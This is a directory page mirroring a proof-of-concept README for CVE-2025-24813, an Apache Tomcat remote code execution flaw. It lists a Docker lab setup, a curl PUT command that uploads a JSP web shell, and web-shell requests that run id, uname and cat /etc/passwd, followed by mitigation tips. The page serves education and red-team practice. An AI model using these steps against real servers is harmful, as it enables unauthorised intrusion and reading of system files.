Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-24813 — Apache Tomcat PUT JSP RCE - CVE-2025-24813 - Exploit & PoC | Kitploit
Tools/GitHubGitHub/shivshantp/cve-2025-24813
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationRed TeamingPayload DevelopmentLabs & Practice
GitHubshivshantp/cve-2025-24813

CVE-2025-24813

Apache Tomcat PUT JSP RCE - CVE-2025-24813 - Exploit & PoC

View Repository
581 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

🚨 CVE-2025-24813 – Apache Tomcat PUT JSP RCE Exploit

CVE Exploit-Status Platform Language Dockerized License

This repository contains a complete proof-of-concept (PoC) for CVE-2025-24813, a Remote Code Execution (RCE) vulnerability in Apache Tomcat using the HTTP PUT method to deploy a malicious JSP web shell.

🔥 This exploit demonstrates how an attacker can achieve RCE via file upload and payload execution in improperly secured Tomcat instances.

📁 Project Structure

root@kitploit:~
CVE-2025-24813/
├── docker/                         
│   ├── Dockerfile
│   └── web.xml                    
├── exploit/                        
│   ├── 1_exploit_cve_2025_24813.py
│   └── shell.jsp
├── screenshots/                    
│   ├── 1_tomcat_running.png
│   ├── 2_docker_started.png
│   ├── 3_upload_shell.png
│   ├── 4_run_python_exploit.png
│   ├── 5_access_shell_whoami.png
│   ├── 6_view_etc_passwd.png
│   ├── 7_run_uname.png
│   ├── 8_run_id.png
│   └── 9_run_pwd.png
├── .gitignore
├── LICENSE
└── README.md
Download Tool

🚀 Exploitation Steps

1️⃣ Setup Docker Environment

root@kitploit:~
cd docker
sudo docker build -t cve-24813-tomcat .
sudo docker run -it -p 8080:8080 cve-24813-tomcat

📸 Tomcat Running
📸 Docker Started

2️⃣ Upload Malicious JSP Shell

root@kitploit:~
curl -X PUT --upload-file exploit/shell.jsp http://localhost:8080/shell.jsp

📸 Upload JSP

3️⃣ Execute Python Exploit

root@kitploit:~
python3 exploit/1_exploit_cve_2025_24813.py

📸 Run Exploit

4️⃣ Interact with the Web Shell

root@kitploit:~
http://localhost:8080/shell.jsp?cmd=id
http://localhost:8080/shell.jsp?cmd=uname -a
http://localhost:8080/shell.jsp?cmd=cat /etc/passwd

📸 whoami
📸 passwd
📸 uname
📸 id
📸 pwd

🧩 Features

  • 🔧 Docker-based setup of vulnerable Apache Tomcat server
  • 📥 PUT method abuse to upload and trigger JSP web shells
  • 🐍 Python-based PoC script
  • 📸 Full screenshot-based walkthrough
  • 📚 Ideal for red team simulation & education

🛠️ How to Patch (Mitigation)

  • 🚫 Disable PUT/DELETE methods in web.xml or server config
  • ⛓️ Use security manager or stricter servlet container controls
  • 🔐 Apply file-level upload filters and validation
  • 🧱 Set up WAF to block unauthorized PUT requests
  • ✅ Upgrade to a secure and patched version of Apache Tomcat

⚠️ Disclaimer

This project is for educational and research purposes only. Unauthorized testing, exploitation, or use on systems you do not own or have permission to test is illegal and unethical.

👨‍💻 Author

Shivshant Patil
Certified Ethical Hacker (CEH v13)
B.Tech Computer Engineering Graduate
🔗 LinkedIn
🔗 GitHub